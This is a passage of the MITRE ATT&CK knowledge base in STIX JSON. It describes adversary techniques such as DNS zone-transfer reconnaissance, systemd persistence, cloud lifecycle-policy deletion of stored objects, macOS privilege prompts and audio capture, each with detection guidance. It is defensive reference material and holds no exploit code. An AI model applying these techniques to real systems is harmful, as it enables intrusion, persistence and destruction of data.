payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
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                    "phase_name": "execution"
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "Script: Script Execution",
                "Command: Command Execution"
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            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
            "created": "2020-10-02T15:47:10.102Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1590/002",
                    "external_id": "T1590.002"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS-CISA",
                    "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.",
                    "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "Alexa-dns",
                    "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.",
                    "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"
                },
                {
                    "source_name": "Sean Metcalf Twitter DNS Records",
                    "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.",
                    "url": "https://x.com/PyroTek3/status/1126487227712921600"
                },
                {
                    "source_name": "Trails-DNS",
                    "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.",
                    "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:13:37.080Z",
            "name": "DNS",
            "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e",
            "created": "2019-04-23T15:34:30.008Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1501",
                    "external_id": "T1501"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                },
                {
                    "source_name": "Freedesktop.org Linux systemd 29SEP2018",
                    "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.",
                    "url": "https://www.freedesktop.org/wiki/Software/systemd/"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "gist Arch package compromise 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
                },
                {
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
                },
                {
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:09.246Z",
            "name": "Systemd Service",
            "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -\u2013type=service \u2013all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4",
            "created": "2024-09-25T13:16:14.166Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1485/001",
                    "external_id": "T1485.001"
                },
                {
                    "source_name": "AWS Storage Lifecycles",
                    "description": "AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html"
                },
                {
                    "source_name": "GCP Storage Lifecycles",
                    "description": "Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.",
                    "url": "https://cloud.google.com/storage/docs/lifecycle"
                },
                {
                    "source_name": "Halcyon AWS Ransomware 2025",
                    "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
                    "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
                },
                {
                    "source_name": "Azure Storage Lifecycles",
                    "description": "Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal"
                },
                {
                    "source_name": "Palo Alto Cloud Ransomware",
                    "description": "Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.",
                    "url": "https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/"
                },
                {
                    "source_name": "Datadog S3 Lifecycle CloudTrail Logs",
                    "description": "Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.",
                    "url": "https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:06.787Z",
            "name": "Lifecycle-Triggered Deletion",
            "description": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.  \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware)(Citation: Halcyon AWS Ransomware 2025) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Cloud Storage: Cloud Storage Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca",
            "created": "2019-08-08T14:29:37.108Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1514",
                    "external_id": "T1514"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/"
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x2A.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:09.532Z",
            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Erika Noerenberg, @gutterchurl, Carbon Black",
                "Jimmy Astle, @AstleJimmy, Carbon Black"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "created": "2017-05-31T21:31:34.528Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1123",
                    "external_id": "T1123"
                },
                {
                    "source_name": "ESET Attor Oct 2019",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:51:52.461Z",
            "name": "Audio Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "created": "2020-01-10T16:03:18.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543",
                    "external_id": "T1543"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:11:29.155Z",
            "name": "Create or Modify System Process",
            "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.  \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Containers"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Container: Container Creation",
                "Driver: Driver Load",
                "Service: Service Modification",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "File: File Creation",
                "Windows Registry: Windows Registry Key Creation",
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "created": "2017-05-31T21:31:44.421Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1133",
                    "external_id": "T1133"
                },
                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
                    "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Trend Micro Exposed Docker Server",
                    "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:34:58.667Z",
            "name": "External Remote Services",
            "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
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            "x_mitre_contributors": [
                "ExtraHop",
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Rory McCune, Aqua Security",
                "Yuval Avrahami, Palo Alto Networks",
                "Jay Chen, Palo Alto Networks",
                "Brad Geesaman, @bradgeesaman",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Daniel Oakley",
                "Travis Smith, Tripwire",
                "David Tayouri"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "Containers",
                "macOS"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Metadata",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
            "created": "2017-05-31T21:31:22.374Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1109",
                    "external_id": "T1109"
                },
                {
                    "source_name": "SanDisk SMART",
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
                },
                {
                    "source_name": "SmartMontools",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "url": "https://www.smartmontools.org/"
                },
                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
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            ],
            "modified": "2025-04-25T15:15:09.960Z",
            "name": "Component Firmware",
            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
